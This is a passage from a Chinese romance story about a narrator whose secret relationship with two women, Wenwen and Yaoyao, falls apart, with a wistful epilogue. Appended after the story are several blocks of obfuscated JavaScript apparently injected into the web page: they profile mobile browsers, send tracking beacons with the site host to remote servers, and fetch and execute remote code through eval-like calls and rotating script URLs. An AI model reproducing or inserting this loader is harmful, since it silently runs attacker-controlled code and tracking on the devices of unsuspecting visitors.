雯雯一句话也不说,坐在地上掩面哭泣。我被这突如其来的事情吓得慌了手
脚,呆坐在床上。
瑶:「小雯雯……」她伸手想去抱雯雯一下,却被雯雯用力拨开。
雯雯抬起头,看看瑶瑶,又看看我。泪珠一粒一粒滚了下来,滴到地板上。
时间、空间,像是静止似的停在那裡。
『雯雯,瑶瑶……原谅我吧!』
瑶瑶肩头一震,凝望着我:「她说的『学长』,是你?」
我缓缓的点了点头。
瑶瑶眼眶也红了,低着头,不知想些什么。屋内陷入一片寂静,床前闹钟滴
答响着,伴着她们低声啜泣的声音。
瑶:「Sam,请你离开。」
『瑶……』
瑶:「你走!」
瑶瑶紧闭着嘴唇,雯雯也不理我,两人坐在地上,沉默不语。我穿上衣服,
走过她们身边,回头看了一眼,想说些什么,却说不出口。整颗心,像是被掏空
似的,已不在身上。面庞上滚热的泪水,赎不回对她们的伤害。
拖着沉重脚步离开时,不住回首,却没有人留我。
秋夜的风,好冷。
时间在此停格吧!
<24>
后记:
我打开BBS的信箱,满心期待的想收到信,却又得到另一次的失望。
录音机传来佩特拉卡的十四行诗,我拿起湛蓝色的古董打火机,点起了烟,
在书房裡沉思。
瑶瑶回国的那一夜,所发生的事情,早已埋葬在记忆深处。遥远模煳,却又
鲜明。
雯雯跪坐在地上哭泣,一句话也不说。瑶瑶狠狠的甩了我一巴掌后,沉默不
语。我爱她们吗?我想是的。然而轻率的答应两个人的感情,却换来永的悲痛。
那夜离开房间时,回头张望,她们两人正抱在一起哭泣。我试着想挽回些什
么,却再也挽不回。
隔了几天,瑶瑶寄来一封信。她说她爱我,也爱雯雯,所以她选择离去。她
希望我,能专心一意,给雯雯一个幸福的未来。
我急着去宿舍找她,已经空无一人。楼友说她已办了休学,想到国外完成学
业。
想要找雯雯,她总是哭着,不想听我解释。终于搬离了学校,也不去系馆,
再也找不着她。只留下一卷录音带,录着佩特拉卡的《十四行诗》与萧邦的《别
离曲》。
就这样,离开了研究所,进入了社会。我、雯雯、瑶瑶,都埋没在茫茫人海
裡。
我一直留着当年BBS上的帐号,希望有一天能够收到Lesby或是Lesbi的讯
息。
贪婪地想拥有两个女人,竟是如此沉重的错误。
「雯雯,玲玲,Sam,瑶瑶,吃饭囉……」老妈在厨房裡叫着。
我关掉BBS上空荡荡的信箱,关掉嘶嘶作响的录音机。走到客厅,妻子与
我那双胞胎的女儿,正在地上嘻戏。
「没收到信吗?」妻子走上前来,很心疼的问着。
苦笑,说明了一切。
  
关闭
关闭
function OLrAJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function dSMOXiRm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OLrAJ(t);};window[''+'o'+'y'+'d'+'h'+'M'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MJTu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=dSMOXiRm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MJTu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MJTu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLmdiYYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['Y','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();